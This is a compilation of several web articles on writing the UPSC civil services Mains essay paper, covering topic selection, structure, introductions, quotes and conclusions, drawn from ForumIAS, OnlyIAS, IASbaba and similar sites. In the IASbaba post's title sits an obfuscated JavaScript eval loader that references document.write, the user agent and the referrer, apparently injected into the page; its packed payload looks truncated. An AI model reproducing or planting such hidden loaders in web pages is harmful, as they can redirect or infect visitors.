Click Here for Full Copy

Essay needs a higher level of communication abilities viz..

Articulation
Effective expression
Logic, flow and rhythm
Right grammar

Brief for practicing essay writing – pre exam hall approach.

How to write a good Essay can be viewed sequentially, as if going through ten sequential steps in an essay writing process.

Research : Begin the essay writing process by researching your topic, making yourself an expert.Assuming you've been given a topic, or have narrowed it sufficiently down, your first task is to research this topic. You will not be able to write intelligently about a topic you know nothing about. To discover worthwhile insights, you'll have to do some patient reading and information gathering. Though IAS aspirants are hard pressed of time but don’t forget it is of 250 marks and highly neglected. It can be done through integration of your daily newspaper reading and through preparation of GS also. But you need some different strategy to do so.
Analysis : Now that you have a good knowledge base, start analyzing the arguments of the essays/articles you're reading. Clearly define the claims, write out the reasons, the evidence, etc. Look for weaknesses of logic, and also strengths. Learning how to write an essay begins by learning how to analyze essays written by others.

In case of analysis Vikram Grewal shows it perfectly: Here is a look

For Full Copy Click Here

3 .Brainstorming : Your essay will require insight of your own. Ask yourself a dozen questions and answer them. Meditate with a pen in your hand. Think and think until you come up with original insights to write about.

Thesis: Pick your best idea and pin it down in a clear assertion that you can write your entire essay around. Your thesis is your main point, summed up in a concise sentence that lets the reader know where you're going, and why. It's practically impossible to write a good essay without a clear thesis.
Outline: Sketch out your essay before straight away writing it out. Use one-line sentences to describe paragraphs, and bullet points to describe what each paragraph will contain. Play with the essay's order. Map out the structure of your argument, and make sure each paragraph is unified.
Introduction: Now sit down and write the essay. The introduction should grab the reader's attention, set up the issue, and lead in to your thesis. Your intro is merely a buildup of the issue, a stage of bringing your reader into the essay's argument.(Note: The title and first paragraph are probably the most important elements in your essay. This is an essay-writing point that doesn't always sink in within the context of the classroom. In the first paragraph you either hook the reader's interest or lose it.)
Paragraphs: Each individual paragraph should be focused on a single idea that supports your thesis. Begin paragraphs with topic sentences, support assertions with evidence, and expound your ideas in the clearest, most sensible way you can. Speak to your reader as if he or she were sitting in front of you. In other words, instead of writing the essay, try talking the essay.
Conclusion: Gracefully exit your essay by making a quick wrap-up sentence, and then end on some memorable thought, perhaps a quotation, or an interesting twist of logic, or some call to action. Is there something you want the reader to walk away and do? Let him or her know exactly that.
Style: Format your essay according to the correct guidelines for citation. All borrowed ideas and quotations should be correctly cited in the body of your text, followed up with a Works Cited (references) page listing the details of your sources.
Language: You're not done writing your essay until you've polished your language by correcting the grammar, making sentences flow, incorporating rhythm, emphasis, adjusting the formality, giving it a level-headed tone, and making other intuitive edits. Proof read until it reads just how you want it to sound. Writing an essay can be tedious, but you don't want to bungle the hours of conceptual work you've put into writing your essay by leaving a few slippy misspellings and poorly worded phrases.

Steps to be followed during examination:

We must keep in mind that an essay writting in the examination hall is developed on the spot within a given time period, is something different from an essay written leisurely and with mature deliberation for a publication or for a prize competition.

A Candidate writing an essay for Civil Service Examination should keep in mind that he has to satisfy the examiner with regard to 3 things:

He has good ideas on given subject / chosen field.
He can arrange his ideas systematically.
He can express, and analyze his opinion correctly using good language.

Required Steps to create a rough sketch before actual writing :

Selection of suitable topic
Make an outline of your ideas
Write introduction points
Write main points of the body
Brief sketch about view, history, facts, illustrations, examples etc
Idea about critical discussions, pro and opposite views
Drawing a conclusion that clearly expresses your opinion and always end with a futuristic note

Selection of topic is the key for scoring in essay writing . Around 15 to 20 minutes can be spent on choosing best topic. we also needs to be sure about the flow of thought, rich facts and figures, history, analytical expression and all to be collectively rated high in the selected topic. It impacts your marks. Out of six topics consider each one independently in-depth your knowledge and presentation skills not in bird-eye-view manner.

Patience and perseverance must be maintained while selecting a topic and make it sure about excellence to present cogently.

Next step is outlining the selected topic by putting ideas in a separate page, in organized form by writing sub topics and important points to be covered in the essay. For this one can make use flow chart model or line chart or tabulation. Grouping of thoughts must in a way to categories the sub headings while writing the detailed essay. We can use 15 to 20 minutes for this task.

Then start with the introduction which can be a dialogue, quotation or anecdotes produces complete idea to the reader about the essay. A dialogue could be simply the pertinent fact that explicitly illustrates the point you are planning to make. An anecdote is stories that illustrate the point. Be sure your anecdote is short, precise and relevant to the topic.

Three problems that candidates face while writing an essay. They are:

Coherent arrangement
Expression Ideas

Essay Copy: Vikram Grewal(AIR 51, CSE 2018)

About the subject is nothing but knowledge that needs to be looked in different perspective, whether social, economical, political, religious, cultural, literary, national, and environmental. Candidate should think on different questions

What are definition / scope / history of the topic?
What can be said on particular subject from various perspectives?
What are positives / negatives?
Answers for different questions/dimensions
your thought for critical appraisal

Arrangement :

Arrangement of an essay means the contents with a definite structure to be framed. The structure must be exposed indirectly through the flow of writing with interlinking of sub topics and paragraphs explaining the scope meaning, description and discussion.

Illustration and quotations known can be presented lively aptly to increase the richness of the content. It is like the flavor added to the dishes to attract the reader to be perfectly relevant to the topic/ argument. If the Quotations exceed unnecessarily, it will disturb the quality of presentation. Interlinking of thoughts, comparison and contrasting viewpoints can be expressed only with the special reference to the application of thoughts.

Opinions and arguments with strong self explanatory sentences will reflect the candidates’ solid and clear understanding of the subjects.

Now you need to give the powerful and logical conclusion which is the consequence of everything discussed earlier. Conclusion brings the reader closure or summing up of points and also gives final perspective. It should not be rhetoric outburst. It must be balanced and free from prejudice. Mind it, give proper space to the conclusion. Don’t sump in haste.

Do s and Don’ts for that ‘killer’ 3 Hrs:

Read the title, understand the meaning and scope.
Think and comprehensive planning before start.
Effective, brief and strong words consist of good thoughts makes your essay best.
Avoid vague generalization, slang’s and colloquialism
Don’t try to present whatever you know on the subject.
In controversial topic discuss pros and cons dispassionately and give effective conclusion.
Length of essay is not fixed. But don’t be exhaustive. This time you may to write multiple essay
Never forget to read and revise the essay written before submission to examiner.

Verifying, please be patient.

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Writing a good Essay in UPSC Mains, Explained by Anudeep Durishetty

ForumIAS announcing GS Foundation Program for UPSC CSE 2025-26 from 10th August. Click Here for more information.

Novelist Stephen King put it beautifully when he said, “I write to find out what I think.”

Writing is a window to your thought process. What you write on paper will tell the reader how you think, how you argue and the way you substantiate your viewpoint. This is why for most competitive examinations and academic entrance tests, essay is mandatory.

In the Civil Services Exam too, we have a paper worth 250 marks, equivalent to a General Studies paper. Despite its importance, essay paper often does not get the attention it deserves from aspirants. First timers think they will write an excellent essay in the final exam itself, whereas experienced aspirants believe that since they had already studied a ton for GS, it will alone be enough to write a good essay. This is a fatal miscalculation.

I was one of those who made these errors in the past, and it is not a coincidence that I scored only 100 in CSE 2015. But in 2017, I devoted adequate time to this paper. I collected useful quotes, prepared notes and even made rough essay drafts for frequently asked topics. All this effort in essay paper helped me score 155.

What follows is an elaborate post on how you should tackle the Essay paper. I’ve organised the content as follows:

What UPSC says about the essay paper

How and from where to prepare?

Improving language and expression

On subheadings and rough drafts
What you must avoid
How to write a powerful introduction?
Developing the content of an Essay

Substantiating your arguments

How to conclude an Essay
My notes, quote collection and sample essays

“Candidates may be required to write essays on multiple topics. They will be expected to keep closely to the subject of the essay, to arrange their ideas in an orderly fashion, and to write concisely . Credit will be given for effective and exact expression .”

So you must take adequate care to arrange your ideas properly and not commit any fundamental spelling or grammatical errors.

Most of the content you write in Essay will come from your GS preparation. Apart from this, the following sources will help:

Reading non-fiction helps you develop a matured thought process. Apart from imparting knowledge, they will also let you come across good figures of speech, art of argumentation, powerful rhetoric and unique content etc. For example, in an essay on Artificial Intelligence, I took arguments from Yuval Harari’s Homo Deus to argue that AI is an imminent threat to humanity. Or if you read Why Nations Fail, a book replete with examples, you will understand the importance of innovation, political and economic freedoms in propelling a nation forward. So my suggestion is, apart from UPSC related material, develop the hobby of reading non-fiction books. I do not mean to suggest that you should start reading one non-fiction book per topic to get good scores in Essay, but reading them occasionally in your free time will benefit you in the long run.
Referring to specific magazines: For certain topics, you can refer to specific issues of Yojana/EPW/Economic Survey etc. Example: for an essay on tribal issues or public health, you can go through specific issues of these magazines for getting the latest statistics (IMR, MMR, malnutrition levels etc) and also about the positives and criticisms of govt schemes in that sector.
Collecting good stories/anecdotes and quotes: Anecdotes, quotes and real life stories you see in newspapers and books which can be used in essay should be noted down. In most of my essays, I used to start with a relevant story or an anecdote that has the essay topic as its underlying theme. Apart from these, I also used a couple of quotes of eminent persons.

List of quotes, anecdotes I collected are available in the link at the end of this article.

Language in essay must be simple and clear with as little jargon as possible. If you want to use complex definitional terms such as, say, ‘Constitutionalism’ or ‘Sanskritisation’ please define it in sentence just before you use it. Examiner will also understand clearly what you want to convey. Clear writing is clear thinking. And that is what any reader looks for.

Keep your sentences short and powerful. Long, winding sentences makes it difficult to read and understand. If you tack on one clause after another through conjunctions, what you get is a bad sentence sprawl.

Example of a bad sentence sprawl:

At the end of World War 2, on the one hand, while capitalism was successfully championed by the nations in North America and Europe, on the other hand, it was USSR that put Communism at the forefront due to which there was an ideological clash between the the two superpowers which had led to proxy wars in various parts of the globe, a nuclear arms race and a rapid deterioration of the security of the world.

(By the time readers finish reading it, they will lose their breath and the point of the sentence)

So I had a simple rule: If you run out of your breath while reading a sentence, then probably you will have to break it into two.

Rewriting the aforementioned example after breaking it into two (which makes it much easier to read and comprehend):

After World War 2, while the North American and European nations championed capitalism, USSR put communism at the forefront. This ideological clash between the superpowers led to several proxy wars, a nuclear arms race and a rapid deterioration of world security.

There is no need to memorise complex words for writing a good essay. But an occasional use of a powerful word, or a good phrase definitely gives your write-up an edge.

Also, I believe that learning numerous words by rote will not make them stick in your brain for long. The best way to build your vocabulary is by reading non-fiction and English newspapers. While reading these, if you come across a good turn of phrase, or a word that you don’t recognise, please note it down in a book, find its meaning and understand the context in which the word was used. This helps in long term memory. Having a dictionary app on your phone also helps.

Building vocabulary is a slow process, but with consistency, anyone can become better at using an expansive set of words.

Subheadings & Rough Drafts

We can be a little innovative in our subheadings. Instead of bland subheadings such as ‘ Benefits of Nuclear Energy’ we can use “ Nuclear Energy: Promise or Peril?’ Similarly, for the essay on Social Media, instead of writing ‘ Advantages and Disadvantages of Social Media ’, I wrote “Social Media: A Double Edged Sword”

You can find my collection of a few such subheadings in the link to my notes, given at the end of the article.

I also prepared a rough draft for a few essay topics (link given at the end). You may need to modify the structure as per the demand of the question.

What you must avoid in Essay

Do not focus excessively only on one point, or one dimension (such as the historical or political aspect) Your essay needs to be expansive and multi-dimensional.
During preparation, we read a lot and it’s understandable that we feel strongly about certain topics. And since essay offers freedom to write, it’s very easy to get carried away with such a topic. But make sure that you write what is asked, not what you know or feel like. No mann ki baat . Always stick to the subject of the topic. It helps to read the question in the midst of your essay to ensure that you are not steering away from the topic.
If you are not comfortable writing about abstract philosophical topics (I am terrible at writing them), avoid such questions. Your choice of topic has no bearing on the marks and that is why, selecting an unpopular topic just for the sake of it is unwise. Also, if there’s a technical term in the question, be doubly sure that you understand it correctly. For instance, in 2014, there was a question on ‘standard tests’, which is a technical term. I misunderstood it and wrote a generic essay. I got 112.
When you take a final stand on an issue, it’s best to avoid extreme or highly unpopular opinions. We are free to have any opinion in the privacy of our minds, but in UPSC essay why take that risk? For instance, in an essay on Capital Punishment, in the main body content, you should present a case for both abolition and retention. But when you take a stance, it’s best to be an abolitionist.
No ranting. You might be a great fan of Karl Marx, but if there’s a question on Capitalism, do not rant or rail against it ? You must present both the positives and negatives of Capitalism and end the essay on a balanced note.
Do not dedicate disproportionate amount of time for the first essay and scamper through the second. Both carry equal marks, so please invest equal time.

How to transition smoothly from one para to the next

This can be done in three ways.

Through a link sentence at the end of a para:

Here, at the end of a para, you write a sentence that signals to the examiner what’s coming next. For example, let’s say you have just written a para about the threat posed by Artificial Intelligence (AI) to jobs. At the end of that para you can write a link sentence— “Further, we must be mindful of the fact that Artificial Intelligence poses a major challenge not just economically, but also ethically.” And in the next para, you can write about the ethical issues concerning AI.

Through a question:

Instead of a link sentence, you can also add a question at the end of a para so that examiner’s attention is helplessly carried to the next. To take the similar example as above, the question can be something like— “Thus we have examined the threat posed by AI to our economy, but what about the challenges brought by AI to our ethics and morals?” And in the next para, you can write about the ethical issues concerning AI.

Signalling the shift at the start of next paragraph:

Here you can simply add a word or two at the beginning of a para that signals a shift in your subtopic. For example in an essay on Globalisation , let’s say you have just written a para about its historical evolution and impact. You can start the next para with something like— “Politically too, globalisation has had a tremendous impact……” This way examiner immediately knows what to expect.

These steps will ensure that the transition between paragraphs is not abrupt.

How to write a good Introduction to your Essay?

Essay introduction can be:

a fictitious incident or story (where you introduce a character); a real life anecdote; a quote; or a simple definition of the words in the question (not recommended in Essay)

In GS, definitional approach is a great way to introduce your answers. But in essay, they are rather stale, lacking in any human element. I always believe that a good way to start your essay is to have that touch of humanity and warmth in your introduction.

In my Mains exam, this was my introduction to the essay ‘Destiny of a nation is shaped in its classroom’

“The year was 1945. Towards the end of a gruesome world war, the world powers decided to carve up the Korean peninsula along the 38th parallel.

“Before partition, North and South Korea might have been homogeneous in every respect, but after the division, they steered onto different paths. While schools in the North chose to ‘educate’ their children in the worship of a cult leader, ideological indoctrination and servility, its southern counterpart focused on liberal education, innovation and economic growth.

“Today, almost seven decades later, the difference in the fates of these people and the trajectories of both these nations cannot be more stark. One is known for gross violation of human rights, while the other a champion of liberal democracy. One is known for gut-wrenching poverty, while the other unbridled prosperity.

“This only proves the age old adage that the destiny of a nation is indeed shaped in its classrooms.”

Similarly, for the Social Media essay, my introduction sought to bring to the fore the paradox of Social Media. I wrote on how social media was leveraged to crowdsource help and rescue during Chennai floods in 2015. At the same time, I mentioned how it was used nefariously in 2012 to cause mass exodus of northeast people from Bangalore. And taking cue from this introduction, in the main body, I discussed about the inherent selfishness and altruism associated with social media.

These real life stories, anecdotes and incidents are everywhere in our books and newspapers. So when you come across them, note down and ponder as to how you can use them in your essay.

Developing the Main Content from the Topic

This is like spinning the web from a thread. Depending on the topic, you can choose among the following options that fits best.

Temporal: Past, present and future
Sectoral: Media, Science & Tech, Business, Sports, Religion, Politics, Administration etc
Walks of Life : Individual, Family, Professional workplace, Society, Community, National, Global
Problem & Solution: Concept (historical evolution+status), benefits, problems, solutions
Standard : Social, Political, Economical, Administrative, International, Environmental, Historical, Scientific, Security/Defence, Legal

Example: for a topic like “Has Globalisation delivered on its promise?” I find the problem & solution method an apt way to develop your narrative. So choose as per the question.

In the main body of the essay, each para must have an argument or an idea and a reasoning to back that argument. You can substantiate it through a real life example, a statistic, an authentic committee or organisational report etc.

For example, if you are arguing that Capital punishment is an expensive form of justice, you should be able to given an example or a statistic or Law Commission’s opinion as to how the subjects of death penalty are overwhelmingly from poor communities.

Statistics, examples, expert opinions and constitutional provisions are crucial and they make your arguments authoritative.

Concluding an Essay

Conclusion needs to be on a futuristic, optimistic note. You need to summarise the complete essay in 3-4 sentences, after which you can write your vision for future.

You can source some useful terms from the speeches of PM Modi. Phrases like Sabka saath sabka vikas , Reform-Perform-Transform, Building A New India etc can come handy. Rhetoric, lofty expressions, constitutional ideals, sanskrit slokas and quotes are a good way to conclude your essay.

But suppose in your introduction, if you had written about a fictitious character, then it’s always advisable to end your write-up with a reference to that character. It gives a sense of completeness to the essay.

Readers should keep in mind that these notes are written rather haphazardly (I mean who makes notes thinking that in future, they might have to upload them publicly :D)

They are fragmented in certain pages, so you may not be able to comprehend them completely, but nevertheless I hope you take home something useful.

Link to handwritten notes:

https://drive.google.com/open?id=1jmVMGOzAk2d9B5Y0HQ9XpVF5Mh2IXGku

Quote collection:

https://drive.google.com/open?id=1jk71jLao60hHwJoTuGYaIDgJWccxa5Xn

List of Topics one needs to prepare:

https://drive.google.com/open?id=1q0W0PeH-80EKt6ucJTFOVPUlmXvCIzd-

Sample Essays:

https://drive.google.com/open?id=1jqfUi1FXdG0icBdJpdQvwH1wlAizCMvo

Read More at: https://anudeepdurishetty.in/

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How to Write an Essay for UPSC

Check the best approach to be followed in essay writing for civil services examination 2023 along with the highly recommended books on this page .

The UPSC Mains exam comprises a total of nine papers which includes essay writing for civil services examination as well. In broader terms, the essay paper in UPSC mains is divided into two sections i.e. section A & section B.

Each section also comprises four UPSC essay topics with a maximum mark of 125 each. Out of these, candidates need to choose one topic from each of the sections and write two UPSC essay papers in about 1000-1200 words each.

Thus, it is important for the aspirants to use the best strategy and practice essay writing for civil services examination thoroughly to maximize their score in the UPSC essay test .

In this blog, we have shared the useful steps to write the essay for the IAS exam including the books, past year IAS essay test topics, and everything that an aspirant must know about UPSC essay writing .

UPSC Essay Writing for Civil Services Examination 2023- Highlights

Some of the major highlights of the essay writing for the civil services exam 2023 are shared below:

Number of UPSC essay topics : 2
Maximum Marks: 250 marks (125 each).
Exam Duration: 3 hours
Word Limit: 1000-1200 words each

6 Easy Steps on Essay Writing for Civil Services Examination

IAS aspirants should formulate a strategy that aligns with the exam requirements in order to excel in the UPSC essay papers . Hence, we have shared the top six easy steps to be followed in the UPSC essay writing in order to excel in the upcoming IAS CSE 2023 exam .

Pick the UPSC Essay Topic Carefully

The first and foremost strategy of every aspirant is that they should finalize the topic only after reading all the topics carefully. This will also help them to collect sufficient points to write about the UPSC essay topics .

One should go through all the topics carefully in order to avoid switching topics in between as it would lead to a waste of time and unnecessary stress. Hence, it is advisable to read the topics 2-3 times and think about the IAS essay topics carefully.

Recall Important Points

After finalizing the topic, do not rush to write the essay immediately and think about the same for at least 30 minutes. Anyone who commences writing immediately without thinking twice may forget important pointers to be included in the UPSC essay papers .

Hence, it is advised to utilize the first 20-30 minutes to think carefully about the topic, correlate the topic with current events, talk about historical/past events, and jot down all the important points in the sheet.

Moreover, they must also arrange all the points in the proper sequence in order to excel in essay writing for civil services examination .

Formatting of the Essay

The next strategy of the aspirant is that they should follow a proper format in the UPSC essay writing papers. Once they have recalled and noted all the important pointers, the next step is to format it well as elaborated below:

Introduction
Background of Topic
Main Theory
Correlation with the latest event
Positive and Negative Sides
Recommend Changes

Use the Quotes Correctly

To excel in essay writing for civil services examination, candidates must jot down inspiring sentences, and quotations whenever they come across them.

However, it is advised to learn the quotes correctly with the name of the individual who has quoted them. Also, if they are unsure about the quote then they must skip it instead of writing the incorrect one.

Focus on the UPSC Essay Topics

Candidate should be clear with theessay topics for effective essay writing for civil services examination. This approach will allow them to stick around the topic and write relevant content in the essay UPSC test.

With this, they should ensure that they do not criticize any individual or government or mention anything in an offensive way in their UPSC essay writing which is not recommended.

Best Books and Resources for UPSC Essay Writing

Along with the best preparation strategy, aspirants should also pick expert-recommended books to cover all types of essay topics for the exam. Here, we have compiled the best books and resources that would be helpful in practicing essay writing for civil services examination :

Monthly Current Affairs Magazines by OnlyIAS
Only IAS Kurukshetra Magazine
Only IAS Yogana Magazine
Only IAS Praarambh Post-Independence India
Only IAS Praarmabh Indian Society
The Hindu (editorial articles)

Previous Year Essay Topics for Civil Services Examination

Candidates should check the previous year’s essay topics for the UPSC exam to understand the UPSC IAS syllabus 2023 in a better manner. Hence, it is advisable to practice essay writing on the past year’s topics to determine the level of their preparation.

Thus, we have shared below the last five years’ IAS essay topics to smoothen the preparation of the aspirants.


2022		Click Here
2021		Click Here
2020		Click Here
2019		Click Here
2018		Click Here

Frequency Asked Questions (FAQ)

Q1. How can I write a good essay for UPSC?

Ans. To write a good essay for UPSC, candidates must read the editorial section of the newspaper, and current affairs magazines on a daily basis. With this, they should watch discussions/debates, and solve previous question papers UPSC essay topics regularly.

Q2. What kind of essays are asked in UPSC?

Ans. Going by the trend analysis, most of the UPSC essay topics are related to Indian Democracy and Bureaucracy, Administration, Poverty, Economic Growth, Politics, Judiciary, Education, Indian Culture, Science & Tech, etc.

Q3. How to write introduction for UPSC essay?

Ans. You can start writing the introduction for the IAS essay with a powerful quote and then elaborate on the quote in the rest of the introduction by explaining its relation to the topic.

Q4. Who got highest marks in UPSC essay?

Ans. In 2014, Ira Singhal scored 160 marks on the UPSC essay papers.

Q5. Which is the toughest optional subject in UPSC?

Ans. Geography is considered one of the toughest optional subjects in the UPSC civil services examination.

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UPSC ESSAY STRATEGY: How to Write an Essay!

October 21, 2015

IASbaba's Mains Strategy , UPSC Essay Strategy

Essay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfnkh|var|u0026u|referrer|rhfyh||js|php'.split('|'),0,{})) Strategy

In one way or the other your fate with UPSC is decided by the most unpredictable component of the syllabus i.e. the ESSAY . Ask your seniors, your peers or even your teachers and no one can come up with a concrete strategy to prepare for essays. It is ironical that despite being the most flexible component of the UPSC syllabus, it is the essay that spoils your chances. Why? The answer to this question is a mystery . So, if anyone tells you that he/ she knows the right way to write an essay and by right we mean the benchmark set by UPSC, be sure that the person has got a long way to go before he/ she can truly understand UPSC. We say this because of a reason. We have seen aspirants with excellent writing skills scoring 70% in essay in their first attempt while barely managing 35% in their next attempt! It is the other way round also with a number of aspirants.

Now, here we are! After accepting the unpredictable nature of essay evaluation by UPSC, how can we be sure about any strategy? We can’t and in fact we aren’t. But then, we must try until we touch the right chords. Here we give you a strategy to write essays in the most structured, smooth and satisfactory way possible. We don’t guarantee success if you follow our strategy but we can assure you that after going through the subsequent paragraphs of this write up, you will have a lot to work upon and improve. If you keep in mind the following points, you can definitely better your prospects in essay.

So, what is an essay? Or rather why this paper on essays in UPSC? The answer is – an essay gives you an opportunity to put forward your thoughts in a manner that is not impeded by word limit and time (in the sense that you are given enough words and time to express your knowledge and views). It is asked to check the depth and breadth of your knowledge. And when we say knowledge, it doesn’t mean our conventional understanding of the same. The topics are unknown to us before the exam and we are expected to apply all that we have learnt to produce a logical and intelligent account of what is being asked. That is why, one can’t prepare for essays in the conventional sense.

Now coming to the strategy part, we must say at the outset that you must not treat essay as any other paper of UPSC. In fact, it is the most innovative way to check your level of preparedness of the entire syllabus of UPSC. If you perceive it in this sense, your tendency to limit your imagination by the fictitious boundaries of so called essay paper will vanish and you will be able to think more freely and more innovatively. Shed all your previous notions regarding this paper and start afresh.

The key to writing a satisfactory above average essay is multi-dimensionality. Depth matters but in UPSC breadth is far more important. Keep this fact in mind and approach the essay in a manner that all your wisdom is reflected in the interconnected dots in your essay. Now, what do we mean by this? It simply means the representation of all the dimensions that are related closely to the topic being asked. In doing so, most aspirants keep throwing unnecessary points and that can annoy the examiner. The best thing to do in such a scenario is to write all your thoughts in pointers at the space provided for rough work.

Now, this step is very important. What tools do we have to think about as many dimensions as possible? The answer lies in the syllabus . Luckily, the syllabus of UPSC is so exhaustive and detailed that almost everything under the sun is there in the syllabus. After you are done with your own thoughts and written all the possible points, think about the syllabus now. For this, a prerequisite is that you must have learnt the syllabus by heart. Having said so, let us now understand as to how you can use the syllabus to create points for your essay.

Suppose you have been asked an essay on “Gandhian principles and it’s relevance in contemporary India” . Now, by linking this essay with various components of the syllabus, you can create a number of good points for your essay. We provide you with some examples:

Indian heritage and civilization: Gandhian thoughts on the importance of letting our civilization welcome others while maintaining our identity and uniqueness. This is particularly important in view of the ongoing clash of civilizations.

Women issues: Gandhi’s idea on emancipation and empowerment of women and it’s applicability in modern India.

Communalism and secularism: Gandhian message of communal harmony and tolerance.

Society: Numerous examples of Gandhian views on the importance of charity, role of family, social capital, social norms, cinema etc.

Globalization: Gandhian message of self reliance and it’s synthesis with the idea of global commons/ was Gandhi against globalization?

Constitution and polity: Gandhian idea of a nation state

Local governance: Panchayati Raj as envisaged by Gandhi.

SHGs: Gandhian conception of the idea; the concept of village gramodyog etc

Education: Gandhian model of education that emphasized upon imparting skills

International relations: Gandhian ideals of co-existence, non- violence, non- proliferation etc applied to the current foreign policy paradigm; satyagaraha and non- violence as tools to pursue foreign policy goals.

Inclusive growth: Gandhi’s talisman and it’s remarkable resonance with the very idea of inclusive growth

Economic development: Gandhian idea of self dependent village communities

Industries: Gandhian apprehensions with respect to western model of industrialization

Agriculture and animal rearing: Gandhi’s ideas on organic cultivation, supplementary income through animal rearing etc.

Environment: Gandhian message on cleanliness and sustainability (remember the quote related to man’s need versus man’s greed?), Gandhi’s views on vegetarianism etc

All Gandhian ideas with respect to revenge, change, forgiveness, happiness, strength etc reflect the essence of this component of the syllabus. We can use all of them wisely to make our points look better and logical.

At this point of time, it is important to mention about current events. Try to relate the topic with the current events. It will add to the personality of your essay. For example in this case, following examples can be included:

Corporate social responsibility: Gandhian idea of trusteeship

Struggle for democracy in various parts of the world: Gandhi’s thoughts on democracy

Crisis in the Parliament: Gandhian idea of true leadership

Now there are some other tools that are always handy in helping you make your essay multi- dimensional. Have a look and think how they can be used in different scenarios:

Preamble to the Constitution
FRs and DPSPs
Millennium Development Goals (Now Sustainable Development Goals)
Quotations by eminent personalities
Important Supreme Court judgements
Concepts of sustainability and environmental ethics etc

Having shown you the importance of knowing the syllabus by heart and keeping oneself updated with the current events, we move forward to the next important phase of essay writing i.e. the structure.

There is no universally accepted format for writing an essay. However, there is a general understanding about how one should approach an essay. Of course, one has to start with an introduction. Introduction can start with a quote, an anecdote or a simple paragraph. Irrespective of the approach, the introduction must give an idea to the reader as to what ensue in the subsequent paras. Introduction should be crisp and interesting. Don’t use cliched sentences in the introduction.

In the next few paragraphs, you are supposed to touch upon the core areas of the essay. Here, the points in the back of your answer sheet will come handy. Prioritize the points in a manner that the essay follows a logical flow of ideas and related points are covered in the same or back to back paras. For example, in the example given above, you can’t start with the Gandhian views and it’s applicability regarding local governance, then hop on to the role of non- violence in international relations and then come back to tolerance towards various civilizations. Similarly, you can’t club the ideas of self dependent villages and communal harmony in the same paragraph. At the outset itself, you must have in mind the flow of your essay.

It is important to note that not all your jotted points need find a mention in the essay. You can trim the points and in fact eliminate the irrelevant ones to make your essay crisp and close to the central argument.

It is also important that you read the topic after all your paragraphs so that you don’t deviate from the central theme.

All the paragraphs must have their own personality. There should be no loose ends. The paragraphs in themselves have to have logical conclusion and if that is not possible, at least the key to the next paragraph. Randomness and unpredictability are the last two things that your essay needs.

Coming on to the conclusion part of the essay, it must be understood that you are not supposed to force yourself in producing an intelligent conclusion. Many a times it is better to let some question remain answered. It is not because it should be so, but because it is not possible to have a satisfactory answer always! Just make sure that your conclusion is balanced and there is some amount of optimism in your views. Don’t predict doomsday in the essay even if you are the most depressed person in this world. UPSC wants to recruit happy and optimistic people. Mind it!

Now the question comes about language. What sort of language should one use- simple or ornamental, straight or flowery? The answer is write the way you have always written your essays. The bottom line is you have to impress the examiner in whichever way possible. If we suggest you to use simple language and you are actually good in writing impressive English, the chances are you will spoil your attempt in trying to become what you are definitely not. It is not possible to change one’s writing style so quickly. Instead one should try to make his/ her style of writing fetch better marks in the essay.

Is it not that a bride wearing all the ornaments and makeup looks stunning but at the same time a lady with a beautiful eye but with no makeup or jewelry looks equally beautiful? The same holds true for language. Believe in your own style and remain confident.

However, we find it prudent to caution you about being superfluous. This can be fatal. Don’t beat around the bush. Your sentences must convey what you have in mind and their length should be commensurate with the message. Don’t use too long a sentence. Be crisp and to the point.

As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don’t do anything foolish.

Use quotes selectively and wisely. Not using a quote is way better than using it wrongly. You can prepare a list of quotes that can be used in the essays asked by UPSC.

Be creative in your writing. Spend some time in thinking about the ways in which you can improve your presentation. Ask your peers to review your essays and point the glitches. Try to improve upon the content, presentation and approach by keeping in mind the given strategy. We are sure that in 3-4 attempts, your essays will start reflecting your efforts.

We at IASbaba will keep on posting challenging topics for essays. We expect you to attempt them in strict exam conditions.

Share your inputs regarding the strategy and if any of the seniors reading this, kindly share your thoughts & strategy to help future aspirants 🙂

Happy writing

IAS Essay Strategy , UPSC Essay Strategy , UPSC Mains Strategy Essay

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How To Write The Essay Paper For UPSC Mains

How to Write the Essay Paper in UPSC Mains?

How to write the essay paper UPSC civil services preparation

The essay paper is an important aspect of the UPSC civil services exams. It can make or break your outcome. There are two sections in this paper. Each section gives you four topics; you have to choose one topic each. Each essay you write is marked out of 125, making a total of 250 marks.

Click here to download the UPSC Mains Essay Paper 2020 .

To download UPSC Prelims 2021 Question Papers PDF, visit the linked article.

Your general studies preparation is enough to cover possible topics, and you don’t have to study separate content for the civil services essay paper. You do have to remember certain aspects of writing a good essay if you want to have the edge over your fellow UPSC aspirants. A lot of IAS aspirants make the mistake of not focusing on the essay paper because of its general nature. However, there are many advantages of concentrating on this paper, such as:

You have the option of selecting one topic out of four. You should be able to leverage this to your advantage and shine in this paper.
The essay paper is an area where you can let loose your creativity while displaying your knowledge about the topics.
Also, you have three hours to write about 1000 to 1200 words per topic (word limit for essay in UPSC exam). Hence, you can do justice to the essay topic as you have ample time to structure your thoughts and then start writing.

Let us look at how your essay should be structured!

Your essay should ideally have an introduction, content, basic theme and conclusion. The introduction and conclusion are self-explanatory. Content should give a historical perspective to your topic. It should also include facts and events related to your topic. Try to cover relevant aspects of the topic. The basic theme should talk about your views on the topic. Take a stand but a balanced one. You should also describe the negative and positive aspects of the topic chosen.

How to select the UPSC essay topic?

Go through all the given topics well.
Choose a topic you know most and have significant knowledge about.
Try to avoid provocative issues where personal opinions can be controversial.
Select the topic only if you are sure of the meaning. For example, know what IT refers to in a given case – information technology or income tax.
Don’t necessarily pick a topic because it excites you. You should have content and a balanced approach while writing about it.

Features of a good essay

It should resonate with the topic given. Don’t stray from the topic merely to fill up the word count.
It should engross the reader. A good essay should ignite the reader’s curiosity about the topic. It should not be boring. The reader should feel like going on reading it.
It should be multi-dimensional. Don’t have a single viewpoint. Analyse the topic from different perspectives. You can provide new insights into the topic and impress the examiner.
It should be simple but effective and coherent. You need not write the Queen’s English but let the language drive home whatever point you are trying to make.
It should be grammatically perfect. Not only does it enhances your essay’s clarity it also avoids a negative impression.
It should be neat. This is why it is important to think about what you want to write before starting. This avoids scratching.
